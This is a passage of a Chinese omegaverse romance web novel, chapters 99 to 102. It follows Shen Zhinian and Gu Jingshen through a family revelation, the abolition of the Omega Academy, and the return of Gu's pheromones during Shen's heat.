“放心,我不会拿你的身体开玩笑。”薛明亦笑了笑,语气带着一丝玩味,“毕竟,我是为了年年。” 顾景深懒得理他,人是好人,就是和他天生不对头,顾景深听他说话就烦得慌,拉着沈之年的手,转身就走:“我们走。” 走出几步,顾景深又翻了回来,“你是个好人,祝你幸福。” 薛明亦乍然听到顾景深吐出象牙,一时怔忪,竟然没反应过来,呆呆地回了一句,“谢谢。” 等到薛明亦反应过来,顾景深都已经走远了—— 两人走出诊室,沈之年看着顾景深依旧气气的脸色,轻轻捏了捏他的手,语气温柔:“别生气了,他就是故意逗你的,只要能治好你的腺体,不管他说什么,我们都别往心里去。” 顾景深点了点头,语气依旧有些生硬:“我知道,我就是受不了他那副嘴脸。” “我刚才和他说清楚了吧。” “早结婚,别老惦记别人媳妇!” 两人拿着药方,去药房取了药。 那个拿药的药师奇怪的看了顾景深好几眼,重重的叹息一声,最后还到处给太太找了一个黑色的大袋子。 袋子上面没有任何标签,看起来很神秘,和薛明亦嘱咐的一样,神神秘秘的。 回到家,沈之年去厨房倒了一杯温水,递给顾景深:“把药吃了吧,薛明亦说要按时吃。” 顾景深接过水杯,没细看,拧开瓶盖,倒出几粒白色的药片,正要放进嘴里,沈之年突然开口:“等等,先看看药方,到底是什么药,别吃错了。” 顾景深愣了一下,点了点头,把药片放回药瓶,拿起那张药方,仔细看了起来。一开始,他还看得有些模糊,可当他看清药方上的药名时,脸色瞬间变得铁青,气得浑身发抖。 “薛明亦!你这个混蛋!”顾景深猛地把药方摔在地上,怒吼一声,“竟敢耍我!” 沈之年被他突如其来的怒火吓了一跳,连忙捡起地上的药方,仔细看了起来。看清上面的药名时,他也愣住了。 “他给我开壮阳药!!” 第99章 晚风裹着街上的人工花香, 从车窗缝里钻进来,拂过沈之年微扬的嘴角。 光脑屏幕上是星网刚推送的红色头条——【Omega学院废除提案已获议会初审通过,拟于下月进入公投阶段】。 Omega学院, 名义上是“保护与培养”,实则是将Omega从十二岁起圈养起来,教授茶艺、礼仪、信息素管理,唯独不教如何独立、如何拥有选择的权利, 不可否认,相对于之前Omega只能养在深闺等着嫁给一个未曾谋面的Alpha, Omega学院是起到了进步的作用。 但是时代不同了, Omega想要进步, 想要真的走进职场,Omega学院必须退出历史舞台。 但是Omega学院是一个根深蒂固的人政策,不知道培养出了多少贵妇人。 废除Omega学院,沈奉月为之努力了许久,他在其中付出的努力沈之年最清楚。 沈奉月提出废除提案的那天也算是波澜壮阔的一天,如今提案初过, 他迫不及待的就想要去和父亲分享喜悦。 虽然父亲知道消息应该回更早。 “爸,提案过了!初审通过了!”他连发三条消息,又拨了通电话,听筒里却只有冰冷的忙音。 顾景深握着方向盘的手顿了顿, 侧头看他:“没人接?可能在忙。” “应该是, ”沈之年收起手机,眼底的雀跃未减,“我们直接回家吧,我从你的酒柜里拿了几瓶酒,今晚好好庆祝一下。” 顾景深是万恶的老资本家, 家底不是沈奉月这样的新贵能比的,这大羊毛也是不薅白不薅。 顾景深透过后视镜看像后面的几瓶酒,“很有品味啊,都是我打算结婚用的好酒,你这样拿走了,我怎么和我老婆交代。” 沈之年挑挑眉,“我去和嫂子说,说求他成全我们,好不好?” 沈之年开玩笑的时候也很正经,眼睛晶亮,可爱极了,顾景深没忍住把车停在路边凑过去就亲了一下沈之年的唇角。 他正要加深这个闻,后面车的喇叭已经此起彼伏。 顾景深没办法,只能离开那张可爱的小脸,“看来你嫂子不同意我们的事。”—— 四十分钟后,车停在沈宅门口。沈之年推开车门,几乎是跑着进了院子,顾景深拎着酒和刚买的菜,慢一步跟在后面。 大门没锁,沈之年推门而入,客厅的水晶灯亮着,却空无一人。 “爸?”他喊了一声,没人应。 “可能是出去买菜了?”顾景深走过来,揽住他的腰,“你中午没吃多少,先去厨房垫点东西,我再联系爸。” 沈之年点了点头,心里的雀跃被一丝疑惑取代。他跟着顾景深往厨房走,脚步放轻了些。 厨房的门虚掩着,里面传来细微的声响,像是有人在低声说话,又像是瓷器碰撞的轻响。 但是沈之年也在和顾景深说话,全然没发现那点细细簌簌的声响。 他轻轻推开门缝。 下一秒,沈之年的血液仿佛瞬间凝固。 流理台边,沈奉月坐在台面上,衬衫的扣子解开了两颗,露出锁骨处淡青色的吻痕。他的身前,站着一个年轻男人,赤裸着上身,白色的肌肤上覆着一层薄汗,腹肌线条流畅,正低头吻着沈奉月的唇。 男人的手臂环着沈奉月的腰,力道很稳,像是在护着什么珍宝。沈奉月的手搭在男人的后颈,指尖轻轻摩挲着,眼底满是沈之年从未见过的柔软。 那男人,沈之年认识。 伊桑。 他从来没想过,这两个人之间,会是这样的关系。 顾景深也愣住了,揽着沈之年的手臂不自觉地收紧。 里面的两人似乎察觉到门外的动静,猛地分开。 伊桑几乎是本能地转身,将沈奉月挡在身后,赤裸的上身对着门口,眼神警惕而锐利,发现是沈之年之后又变成了无措。 沈之年的喉咙像是被什么堵住了,张了张嘴,却发不出声音。 还是顾景深先回过神,凑到沈之年耳边:“年年,我们是不是来得不是时候?” 顾景深还挺开心的 ,他可忘不了之前伊桑差点变成沈之年的童养夫, 这么个水灵灵的大Alpha天天再老婆面前晃悠,谁能放心。 多了一个小岳父固然有点尴尬,但是少了一个情敌又何尝不让人惊喜。 伊桑听了这话,脸瞬间涨红,从耳根到脖颈,红得像要滴血。 他下意识地想去拿搭在流理台上的T恤,胡乱的套在身上,却又想起身后的沈奉月,脚步顿住,依旧挡在前面,只是眼神里的警惕,多了几分慌乱和不好意思。 沈奉月从伊桑身后走出来,拉了拉衬衫的扣子,将锁骨处的吻痕遮住。他的脸色很平静,没有丝毫被撞破的尴尬,只是看向沈之年的眼神,带着一丝复杂。 “之年,景深,”他开口,声音依旧温和,“进来吧,是饿了么?” 沈之年这才回过神,“你们收拾收拾,我们先去客厅等你。” 顾景深已经转身,将厨房的门关上,隔绝了外面的视线。他走到沈之年身边,轻轻拍了拍他的后背—— 四个人坐在客厅的沙发上,气氛有一点压抑。 沈奉月坐在主位,伊桑坐在他旁边,身体绷得笔直,双手放在膝盖上,眼神不敢看沈之年。 沈之年和顾景深坐在对面,沈之年端起桌上的水杯,喝了一口,沈奉月这些年身边不是没有人,其实伊桑也确实会是沈奉月喜欢的类型。 但是毕竟伊桑先成为了家里的一份子。 而且伊桑是Alpha,沈奉月是Omega。在这个依旧存在性别偏见的社会,一个Omega父亲,和一个比自己小十五岁的Alpha养子在一起,会面临多少流言蜚语,他不敢想。 他看向伊桑,语气带着一丝试探,也带着一丝担忧:“伊桑,你……想清楚了吗?” 沈奉月很有魅力,这一点没有人可以反驳,他身边来来往往的年轻Alpha也不知几多,很多都是仰慕沈奉月的风采。 他没有直接问“你是不是自愿的”,而是用了一种更委婉的方式。其实沈之年很害怕伊桑是因为感恩,或者是被沈奉月的信息素影响,才做出这样的选择。 毕竟,Omega的信息素对Alpha,有着天然的吸引力。 沈奉月又那么有魅力,谁爱上他都是理所应当的事情。 “哥哥,我想清楚了。”他的声音有些沙哑,却很清晰,“我喜欢先生,这件事我很早就清楚。” 他顿了顿,脸上露出一丝羞涩,却依旧勇敢地看着沈之年:“能得到先生的怜惜,是我这辈子最幸运的是事情。” 他的话音落下,客厅里陷入了沉默。 空气中,两个人的信息素味道还没散尽,交缠在一起,缠的沈之年头疼。 沈之年向来不干预爸爸的私生活,但是今天之前他以为伊桑是他的养弟的,这对任何人来说都是需要缓一缓才能接受的关系。 “你还年轻,你能为你此刻的选择负责么?” 之前跟在沈奉月身边的Alpha,沈奉月都可以随意丢弃,但是伊桑不一样,不管是被抛弃之后发疯反噬,还是过几年突然反悔。都会给沈奉月造成伤害。 虽然沈之年知道,沈奉月行事远比他周到,沈之年也忍不住询问。 他不想要父亲收到伤害。 “我能。” 沈之年看着伊桑坚定的眼神,只能叹息一声,不再多说。 “你们是什么时候开始的?” 伊桑低下头,有点不好意思,悄悄去看沈奉月,见到沈奉月微微点头才往下说,“是在我第一次发情期的时候。” “叔叔为了帮我……”伊桑说到又觉得显得他们没有感情一样,“我和叔叔的匹配度很高。” 沈奉月不自觉地躲避开沈之年探究的视线,确实这中间有色令智昏的成分在。 他和伊桑的匹配度这么高,其实他也没想到,毕竟上一次出现匹配度这么高的Alpha还是年年的Alpha父亲,他那个不知道死在那里的初恋男友。 “那我只能祝福你们。”沈之年久违的露出笑意,其实沈奉月做什么他都支持,只是伊桑的身份需要他花时间来接受,这些问题除了大多数都是为了给自己一个精神缓冲期才问的, 现在他已经基本完成了自洽。 “要留下吃饭么?”沈奉月没想藏一辈子,他看的一向很开,顺其自然的等孩子们发现,毕竟不管是年年还是之白都是接受度很强的孩子—— 留下吃饭还是有一点别扭,沈之年只是完成了心里自洽,接受了伊桑的新身份,但是让他叫叔叔或者爸爸还是不太能叫出口,于是他决定先逃避这一波,等到林之白回来,他将跟随林之白的决定。 回去之后,沈之年察觉到顾景深的不对劲,他侧过头,看到顾景深的脸色苍白,嘴唇紧抿,眼神空洞地看着前方。 “景深?”他轻轻喊了一声,顾景深没有回应,沈之年伸手握住他的手,顾景深才恍然回神一般,“怎么了?” 顾景深的手很凉,指尖微微颤抖。看到沈之年担忧的眼神,勉强笑了笑:“我没事。” 沈之年知道,他在撒谎。 他刚想再说些什么,光脑突然响了。 薛明亦的消息。 沈之年点开光脑—— 【年年,顾景深的腺体问题,他不是不能释放信息素,是潜意识里,不敢释放。但是我昨天开的药也并不是开玩笑,那些药都有刺激腺体的作用,希望顾景深能够按时服用。】 他还没来得及回复,顾景深已经凑了过来,看到了屏幕上的消息。 “薛明亦?”顾景深的脸色瞬间变得铁青,握着沈之年的手,“他又想干什么?” “他就是想帮你,”沈之年连忙解释,“哎呀,你别小心眼了。” 沈之年说着把光脑都凑顾景深的面前,让他看清楚,“记得吃药。” 顾景深怎么会不知道薛明亦没坏心,但是也很难不怀疑这个人就是借机整蛊了他。 “我行。” 沈之年没有试试的意思,起身拿了药送到顾景深眼前,“先吃了再说别的。” 顾景深咬牙切齿把药吃了,然后就环抱住沈之年的腰身, 现在顾景深还是一个病人,沈之年总是几多怜爱,摸摸他柔软的发顶,“怎么啦。” 像哄小孩。 “爸是因为信息素才接受伊桑的么?” 信息素的能力真的这么大。 “爸爸之前就喜欢小Alpha,毕竟Alpha过了25就老了。” 已经快30的顾景深听了之后心脏骤停,也没空琢磨什么信息素的事情了,“好哥哥,你摸摸,我i还没老。” 沈之年看着顾景深的眼睛,两个人之间越靠越近, “你究竟在害怕什么呢?” “怕你会离开我。”顾景深说完,他看着沈之年,伸出手紧紧抱住他的腰,将脸埋在他的颈窝,像个孩子一样。 还在撒娇,沈之年叹息一声, “我爱的是你的人,不是你的信息素,也不是你的腺体。你能释放信息素,我很开心;你不能,我也会一直陪着你。” “只会说好听的话哄我。”埋在沈之年的肩头,热气吐在他肩膀,惹得他痒痒的,顾景深的声音也闷闷的。 “那你听了有没有开心一点。” 第100章 盛夏的阳光炽烈而明亮, 透过Omega学院主楼的玻璃穹顶,洒在铺着猩红地毯的广场上。 今天的学院钱人声鼎沸,天边的光幕上循环滚动着一行金色大字——【Omega学院废除政策正式生效, 从此Omega拥有平等选择之权】。 沈之年穿着一身浅灰色针织衫,袖口轻轻挽起,露出纤细的手腕,指尖被顾景深紧紧攥着, 掌心传来温热的触感。 主持人的声音透过音响传遍整个广场,简单介绍了废除Omega学院的意义后, 便宣布:“接下来, 让我们用热烈的掌声, 有请废除Omega学院提案发起者、核心推动者——沈奉月先生,上台发表演讲!” 台下瞬间响起雷鸣般的掌声,沈奉月穿着一身深灰色西装,身姿挺拔,面容温和,在众人的簇拥下走上演讲台。 他拿起话筒, 目光缓缓扫过台下的人群,最终短暂落在沈之年和顾景深身上,眼底闪过一丝复杂的温柔,随后缓缓开口, 声音温和却有力:“各位同胞, 今天,我怀着无比激动的心情,站在这里,宣布一项历史性的决定——Omega学院废除政策,正式生效。” 掌声再次响起, 沈奉月抬手示意大家安静,继续说道:“我们不否认,是不Omega学院的出现才让Omega能够走出家庭,接受教育,但是近百年来,Omega学院已经成为了新的禁锢,他剥夺了无数Omega的自由,压抑了无数Omega的梦想,让他们沦为被圈养的附属品,被剥夺了选择人生的权利。” “我们总说Omega脆弱,需要保护,可我们忘了,脆弱从来不是被禁锢的理由,每一个Omega,都有权利拥有自己的思想,追求自己的人生。” 就在这时,顾景深的身体微微晃了一下,靠在沈之年的肩膀,沈之年侧头看去,只见顾景深眉头紧紧蹙着,脸色比刚才苍白了几分,嘴唇微微抿起,连呼吸都变得有些急促。 看着弱不胜衣的可怜可爱。 这里人员太过密集,演讲台周围的音响声音洪亮,混杂着四面八方的信息素,杂乱无章地刺激着顾景深的神经。 沈之年也不是特别舒服,“怎么了,是不是不太适应这里?” “嗯……”顾景深微微俯身,将脸凑到沈之年耳边,声音压得很低,带着一丝刻意的委屈,“周围的信息素好乱,我头有点晕,腺体也不舒服……” 沈之年哑然失笑,Alpha失去信息素,就如同失去武器,会产生不安的感觉是必然的,但他说的“不舒服”,一半是真的被外界刺激,另一半,分明是在卖可怜,故意求他的安抚和关注。 明明知道他有表演的成分,可沈之年的心还是瞬间软了下来。 这些日子,顾景深因为腺体的事,没少卖可怜,沈之年都一一纵容了。 沈之年没有打断台上的演讲,只是悄悄调整了姿势,让顾景深能更舒服地靠在自己身上,另一只手轻轻抬起,温柔地揉了揉他的头发,指尖又轻轻摩挲着他的后颈——那里贴着崭新的阻隔贴,平整光滑。 “我们很快回去。” 顾景深立刻顺势往他身边靠得更紧,手臂紧紧揽住他的腰,将大半身子的重量都轻轻靠在他身上,刚想要继续撒娇。 “但是现在先站好,别打扰我爸爸的好日子。” 沈之年话都没说完,顾景深就弹直了,远远的看,竹子似的。 台上的沈奉月丝毫没有察觉台下的小插曲,“我之所以坚定地推动这项政策,除了想给所有Omega一个平等的未来……” “从此,再也没有Omega会被强行送进学院,再也没有Omega会因为自己的性别而被歧视,再也没有Omega会失去选择自己人生的权利。我希望,未来的日子里,所有Omega都能勇敢地做自己,所有Alpha都能学会尊重Omega,这个世界,再也没有性别偏见,再也没有信息素压迫!” …… “知道为什么我们能赢吗?” “因为我们准备充分?” “不。”沈奉月微笑,“因为恐惧会传染,勇气也会。是每一个站出来的,走出来的Omega,共同敲开了平等的大门。” 演讲结束,台下响起雷鸣般的掌声,久久不息。 沈奉月放下话筒,在众人的掌声中走下演讲台。 过了一会,他穿过人群,走向沈之年和顾景深。 周围的人群还在喧闹,沈奉月拉着沈之年,走到广场一旁相对安静的角落,顾景深很识趣地站在不远处,没有靠近。 “年年,”沈奉月看着他,伸手轻轻抚摸着他的头发,指尖带着一丝颤抖,语气里满是愧疚和自责,“当年是我不好,是我没能顶住压力,把你送进了那个Omega学院,影响了你一生,这些年,我真的很后悔,现在正式废止Omega学院,也算是了却我的一桩心事。” 沈之年轻轻握住沈奉月的手,摇了摇头,语气温柔而坚定:“爸,别说了。一切都过去了,我们都要向前看,以后都会好的。” 这栋Omega学院还是会用作学校,里面的学生也会保留学籍,只是不再教授Omega特供课程,而是教授一般课程,由于Omega的特殊性,学校依旧会偏向Omega招生,来保障Omega受教育的权力。 “向前看,以后都会好的……”沈奉月也跟着看向了那座不知道教授过多少Omega的学校,轻轻重复着这句话。 “这也曾经是我的母校啊……” 就在这时,一个工作人员快步走了过来,恭敬地对沈奉月说:“沈先生,议会的领导请您过去一趟,有关于政策落地的后续事宜,需要和您商议,媒体也想对您做个简短的采访。” 沈奉月点了点头,又叮嘱了沈之年几句,叮嘱他照顾好自己和顾景深,有什么事随时给他打电话,才跟着工作人员匆匆离开。 沈之年看着沈奉月的背影消失在人群中,轻轻叹了口气,转身走向顾景深。顾景深立刻迎了上来,伸手紧紧揽住他的腰,语气带着一丝依赖和委屈:“之年,我们可以回去了吗?我还是不舒服,这里人太多了。” “好,我们回去。”沈之年笑着点头,伸手揉了揉他的头发,“回去好好休息,我给你煮点汤,缓解一下。” 现在已经快结束了,他们两个人留在这里也没有什么意义。 两人并肩走向出口,就在他们转身的瞬间,一个身材高大的Alpha从他们身边匆匆走过,步伐急促,身上散发着一股浓郁的、带着轻微攻击性的冷杉味信息素,擦肩而过的瞬间,那股信息素猛地扑面而来,带着强烈的压迫感。 顾景深的身体猛地一僵,像是被什么刺激到了一样,下意识地抬起手,紧紧捂住了自己的后颈腺体。他的眉头紧紧皱起,脸色瞬间变得苍白,嘴唇微微抿起,身体也微微颤抖了一下,像是在承受着什么细微的痛。 沈之年的心瞬间提到了嗓子眼,连忙停下脚步,伸手扶住他的胳膊,语气急切:“景深,你怎么了?是不是哪里不舒服?是不是那股信息素刺激到你了?” 可下一秒,他的眼神突然亮了起来,眼底充满了激动和期待。 Alpha在受到其他Alpha信息素刺激时,只有腺体还能正常感知信息素,甚至有微弱分泌能力,才会有这样下意识捂住腺体的本能反应。 这是不是意味着,顾景深的腺体,有好转的迹象?是不是快要能释放信息素了? 沈之年的声音都带着一丝颤抖,紧紧抓住顾景深的手,眼神急切又期待地看着他,连语气都变得格外小心翼翼:“景深,你刚才……是不是感觉到什么了?是不是腺体有反应了?你的身体是不是变好了?是不是快要能释放信息素了?” 顾景深重重喘息一声,“哎呀,我不知道,我的腺体好痛。”你摸一摸……”顾景深一边说,一边拉过沈之年的手,放在自己的胸口, 这里人来人往,沈之年的面皮又薄,赶紧把手抽回,“你干嘛。” 又在撒娇,离婚之后顾景深就好像开智似的,发现他心软而且吃软不吃硬的特点,有事没事就要示弱撒娇…… 尤其是拿到了这个病了的引子之后,沈之年不知道签下了多少丧权辱国的条约,但是还是忍不住一退再退。 “回去。”《 》 100-104 第101章 沈之年裹了裹身上的米白色风衣, 天边光屏上显示着林之白的星轨信息——还有五分钟到站。 他已经在这里等了半个小时,风刮得脸颊生疼, “年年。” 熟悉的声音从身后传来, 沈之年回头就看到林之白拖着一个银色的行李箱,穿着一身深灰色大衣,身姿挺拔,脸上带着一丝旅途的疲惫。 “哥!”沈之年眼睛一亮, 快步走过去,伸手接过他手里的行李箱, “一路累坏了吧?怎么不提前告诉我你快到了, 我好再靠近点等你。” 林之白笑了笑, 伸手揉了揉他的头发:“不是叫你不要等我么,最近首都星的天气真差,我们出差的差旅标准还是太低了,让你来星轨站受罪,脸都冻红了。” 他说着反手贴上沈之年的脸颊,“怎么有点热?是不是感冒了?快回去, 晚上要喝一点姜汤再睡。” 沈之年愣了一下,抬手摸了摸自己的额头,只觉得微微发烫,却没太在意:“可能是刚才在风里站久了, 没事, 不碍事。” 林之白没再多问,伸手揽住他的肩膀,将他往自己身边带了带,替他挡了挡迎面而来的寒风:“先上车,有什么事, 车上说。” 两人并肩走向停车场,沈之年把行李箱放进后备箱,坐进副驾驶,林之白发动车子,缓缓驶离星铁站。 车厢里很安静,只有空调吹风的细微声响,林之白率先开口:“这一个月,家里还好吗?我看你发的消息,说Omega学院的政策落地了,爸他……一切都好?” 提到沈奉月,沈之年的眼神柔和了几分,轻轻点了点头:“嗯,政策顺利落地了,爸很开心,也了却了一桩心愿。只是……” 他顿了顿,其实沈之年也知道,林之白绝对不是想要先说这个,Omega学院废除的政策落地,作为内部人员的他肯定更先知道。 犹豫了一下,沈之年还是开口,“爸和伊桑,在一起了。” 林之白握着方向盘的手顿了顿,却没有太过意外,只是轻轻叹了口气。 为了平等对待两个孩子,在被沈之年抓包之后,沈奉月立刻亲自通知了林之白这个消息。 “爸说了。”林之白说完之后,又挤出来一句,“他在把身边照顾爸生活,我也放心都挺好的。” “而且我觉得现在爸也比较认真,挺好的。” “我一开始也很难接受,”听出林之白没有反对的意思,沈之年才轻声说道,“毕竟伊桑比爸小十五岁,还是Alpha,而且他一直喊我哥哥。可爸这些年一个人也不容易,能有人陪着他,也好。” 沈之年执意要过来接林之白也是担心林之白万一不同意冲过去打伊桑一顿怎么办。 他话音落下,林之白没在说话,场面立刻就安静下来。 过了许久,林之白才再次开口,“你现在怎么叫伊桑?” 场面再次安静下来…… 半晌后,林之白:“薄斯年呢?听你说他遇到点麻烦,现在怎么样了?” 提到薄斯年,沈之年的语气沉了沉:“他被一个变态Alpha设计了,那个Alpha想强行标记他,两人发生了激烈的冲突,薄斯年为了反抗,和对方高强度信息素对撞,腺体受了损伤,现在还在医院接受治疗。” “怎么会这样?”林之白的眉头皱得更紧,眼底满是担忧,这个他真的不知道,“这次高强度对撞,会不会对腺体影响很大?” “医生说,损伤不算特别严重,但需要好好调养,短期内不能再受信息素刺激,也不能情绪激动,不然可能会留下后遗症。”沈之年说道,“顾景深和我去过几次医院看他,他状态还可以,就是有点消沉,毕竟遇到这种事,心里难免有阴影。” 林之白沉默了片刻,语气坚定:“先去医院,我去看看他。” 沈之年点了点头,正好顾景深今天也在医院复查,可以顺便把他接回家—— 说话间,车子已经停在了医院门口。两人下车,沈之年依旧觉得额头微微发烫,脸颊也有些发红,脚步也比平时慢了几分,林之白察觉到他的不对劲,伸手扶住他的胳膊,语气关切:“之年,你是不是真的不舒服?要不你先在车里等我,我去看一眼薄斯年和顾景深,很快就回来。” “没事,哥,我能行。”沈之年摇了摇头,勉强笑了笑,“我也想看看薄斯年,顺便问问顾景深复查的情况。” “你是不是发情期快到了?”林之白拧着眉毛审视沈之白,如果真是因为这个,沈之年是不应该进入医院这么人员密集的场所。 “不可能。”现在不是沈之年的周期,而且他和顾景深之间相互影响,顾景深的信息素无法释放连带着沈之年的周期也是一推再推。 两人先去了薄斯年的病房,病房里很安静,薄斯年靠在床头,脸色有些苍白,后颈贴着阻隔贴,正在看手机,看到林之白进来,眼睛亮了亮,然后就是羞耻:“老婆,你怎么回来了?” “嗯,刚回来,就过来看看你。”林之白快步走过去,坐在床边,仔细打量着他,“怎么样?身体还好吗?腺体还疼不疼?” 林之白难得轻声慢语几句,薄斯年快被迷晕了,“没事,一点事也没有!” “老婆,老婆,我们现在就回家,我好久没给你当奴才,身上都僵硬了。” 林之白点着他的他的眉心,又推回床上,“能不能回去,要看医生怎么说。” “不过,薄斯年。差点被Alpha□□是什么感觉,我觉得你这个经历可以做一篇专访……” 从林之白点薄斯年眉心的时候,就察觉到这两口子马上就要讲一些不能听的了,悄悄退了出去。 沈之年慢慢走向腺体科的复查室。复查室门口,顾景深正坐在长椅上,一只手里拿着复查报告,另一只手拎着一袋药。 看到沈之年过来,连忙站起身,快步走过去,伸手扶住沈之年:“年年,你怎么来了?脸色怎么这么红?是不是不舒服?” “我没事,就是来接我哥,顺便过来看看你复查的情况。”沈之年笑了笑,抬头看向他,眼底满是期待,“怎么样?复查结果好不好?腺体有没有好转?” 顾景深的眼神暗了暗,缓缓低下了头,语气带着一丝失落和自卑,声音也有些沙哑:“没有,还是老样子。各项指标都正常,可就是调动不了信息素,医生也说不出原因,只说还是要靠我自己调节心态,慢慢调养。” “这些是新开的药?” 顾景深已经复诊过两三次,每次都会带一点药回来,上面也没有标签。 “嗯,吃来吃去,也没有用处。” 沈之年的心里一沉,眼底的期待瞬间消散,取而代之的是心疼。他伸手轻轻握住顾景深的手,语气温柔而坚定:“没关系,景深,我们不急,慢慢来。不管多久,我都会陪着你,我们一起找办法,总会好起来的。” 顾景深点了点头,紧紧握住沈之年的手,靠着沈之年的腰肢,还能嗅到沈之年身上淡淡的香味。 沈之年看着他,心里的心疼更甚,下意识地想抬手抚摸他的后颈,却觉得身体一阵发软,额头的温度越来越高,眼前也有些发花。 “可能真的有点发烧了,我们先回去吧。” 第102章 出了医院, 被凉风一激,身上的燥热降下去些许,沈之年的头脑也清醒了许多。 顾景深开车很快, 其实那时候沈之年已经觉得自己的身体好了大半,但是顾景深扶着沈之年走到卧室,让他靠在床头,又细心地给他盖好薄被, “年年,你乖乖躺好, 我去给你拿退烧药和温水, 吃完药好好睡一觉, 就会舒服很多。” 沈之年点了点头,没有说话,只是靠在床头,闭着眼睛休息,可能是房间里的温度太高,他脸颊又热起来, 浑身也依旧有些发软。顾景深快步走出卧室,去客厅的药箱里翻找退烧药,又倒了一杯温水,“年年, 来, 吃药了,一次吃两粒,吃完喝口水。” “嗯。”沈之年轻轻应了一声,闭上眼睛,慢慢放松下来。顾景深一直坐在床边陪着他, 轻轻拍着他的后背,像安抚孩子一样。 大概过了半个小时,沈之年感觉身体好了一些,额头的温度也降了一些,不再像刚才那样滚烫,浑身的酸软也缓解了不少。 他睁开眼睛,看到顾景深竟然不在身边, 沈之年出门,去寻找顾景深,在厨房见到了他。 汤锅咕嘟嘟的冒泡,米粥的清香马上钻进沈之年的鼻子里。 但是沈之年只看到了,顾景深手里拿着一个白色的药瓶,正低头往手心倒药片,动作很轻。 沈之年愣了一下,下意识地开口问道:“景深,你也在吃药吗?吃的什么药啊?是不是腺体还是不舒服?” 顾景深听到声音,身体猛地一僵,手里的药瓶差点掉在地上,他连忙把药片塞进嘴里,就着旁边的温水咽下去,又快速把药瓶放进兜里:“没、没什么,就是一点普通的维生素,医生说可以补充营养,对腺体恢复也有好处,我就随便吃点。” “年年,你怎么醒了?” 他的眼神飘忽不定,不敢直视沈之年的目光,而且显然是在转移话题。 沈之年看在眼里,心里虽然有一丝疑惑,可想到顾景深最近因为腺体的事一直很自卑敏感,或许是不想让自己担心,便没有再多问,只是温柔地说道:“那你也别吃太多,按时吃就好,别累着自己。” “是不是饿了,我煮了一点粥。”顾景深说着,沈之年往汤锅那边看了一眼,只是白粥。 “这么简单的食物,你交给机器人做就好了,何必自己做呢?” 顾景深还在搅锅里的粥,没回头看沈之年,“我出来煮粥,心里安心一些。” 自从再次生活在一起之后,顾景深就开始很喜欢做饭,并且对于沈之年吃他做的饭这件事表现出很强的幸福感。 家里还有之前顾景深做的一些小菜,加上白粥就能简单的垫垫肚子。 沈之年没有多想,等顾景深宣布饭做好了,便起身和顾景深一起吃了点清淡的晚饭,饭后又和顾景深聊了几句,便回到了卧室,准备早点休息。 顾景深收拾好碗筷,也回到了卧室,看到沈之年已经躺在床上,呼吸均匀,以为他已经睡着了,便轻手轻脚地躺到他身边,小心翼翼地避开他,生怕打扰到他。 夜色渐深,卧室里一片安静,只有两人平稳的呼吸声。沈之年睡得很沉,可到了后半夜,他突然被一阵强烈的燥热惊醒,浑身滚烫,像是有一团烈火在身体里燃烧,每一寸皮肤都在发烫,呼吸也变得急促起来。 他猛地睁开眼睛,意识还有些模糊,可身体的强烈不适感,让他瞬间清醒了几分——他不是发烧,是发情期来了。 他是优性Omega,在周期来之前,都是会有所察觉,如果不是受到顾景深的影响,他周期也十分稳定。 但是这次,发情期突然而至,来势汹汹。 “景深……”沈之年下意识地呢喃着,伸手想抓住身边的人,可浑身无力,连抬手的力气都没有,身上的花香信息素不受控制地释放出来,浓郁却带着一丝难以掩饰的脆弱和渴求。 他想叫醒顾景深,想让他去给自己拿抑制剂,可意识却越来越模糊,身体的燥热越来越强烈,像是要把他整个人都燃烧殆尽。 身边人热的像火炉,顾景深也睁开了眼睛,“年年,你怎么了,是不是发烧了,我带你去医院。” “不用,”沈之年拉住他的手,声音虚弱,眼底带着一丝水汽,“我不是发烧,我……我好像是发情期来了,好热,好难受。” 他的身体却越来越难受,浑身滚烫,他下意识地蜷缩起来,双手紧紧抓着床单,额头渗出细密的冷汗,嘴里无意识地呢喃着:“好热……好难受……” “年年,家里没有抑制剂了,你等等好么?” 沈之年没有回应,只是无意识地摇了摇头,身体依旧在不停颤抖,脸上满是痛苦的神色。顾景深不敢耽搁,连忙起身,快步走进厨房,拿出冰袋,用毛巾裹好,快步回到卧室,轻轻敷在沈之年的额头和脸颊上。 冰凉的触感,让沈之年稍微缓解了一些,他下意识地往冰袋的方向靠了靠,嘴里的呢喃声也轻了一些。 顾景深坐在床边,一边给他更换冰袋,一边紧紧握着他的手,眼底满是心疼和自责。 时间一点点过去,沈之年的意识越来越模糊,身体的燥热却丝毫没有缓解,反而越来越强烈,像是要把他整个人都燃烧殆尽。他无意识地挥舞着双手,像是在寻找什么能缓解燥热的东西,嘴里依旧呢喃着:“热……好热……” 沈之年快要被燥热吞噬,意识快要彻底消散,他下意识的向周围寻求一切凉爽的东西,一阵淡淡的、清凉的气息,突然从身边传来。 那股清凉的气息,到底是哪里来的? 沈之年没有再想,那股清凉的气息太过舒适,让他渐渐放松下来,意识也再次变得模糊。 他不顾一切的贴了过去,发出了一丝喟叹…… 那气息很淡,却很清凉,像是盛夏的晚风,又像是山间的清泉,瞬间驱散了他身上的燥热,让他紧绷的身体,渐渐放松下来。那气息很熟悉,有一点点的柑橘味。 它很淡,却很有力量,温柔地包裹着他,像是一双温柔的手,轻轻抚摸着他的身体,缓解着他的痛苦和燥热。沈之年的意识渐渐清醒了一些,他下意识地往那股清凉气息的方向靠了靠,脸上的痛苦神色,渐渐消散了不少,取而代之的是一丝舒适和安心。 他微微睁开眼睛,视线模糊,只能看到身边一个模糊的身影,正坐在床边,紧紧握着他的手。那股清凉的气息,就是从那个身影身上传来的。 是顾景深吗? 可顾景深的腺体无法释放信息素,怎么会有这样清凉的气息?—— 再次醒来,已经是几天之后, 晨光透过窗帘的缝隙,温柔地洒在卧室的地板上,驱散了深夜的寒凉。沈之年缓缓睁开眼睛,浑身的燥热已经彻底消散,身体也恢复了清爽,只是后颈还有一丝淡淡的酸胀,提醒着他那场突如其来的发情期。 失去意识后,那股突如其来的清凉气息,还有耳边那声模糊的叹息,依旧在沈之年的脑海里萦绕。他记得自己当时燥热难忍,几乎要被痛苦吞噬,可那股清凉气息出现后,所有的不适都烟消云散。 完美度过发情期的沈之年神清气爽,身边的顾景深还再沉沉睡着。 沈之年微微动了动身体,下意识地往顾景深身边靠了靠,指尖触碰到顾景深的后颈。 就在指尖触碰到的瞬间,沈之年的身体猛地一僵,眼底闪过一丝震惊。 顾景深的后颈腺体,不再是之前那种死寂的触感,反而有一丝微弱的温热,指尖甚至能感受到一丝细微的信息素波动——那是属于顾景深的柑橘香味,清淡却熟悉。 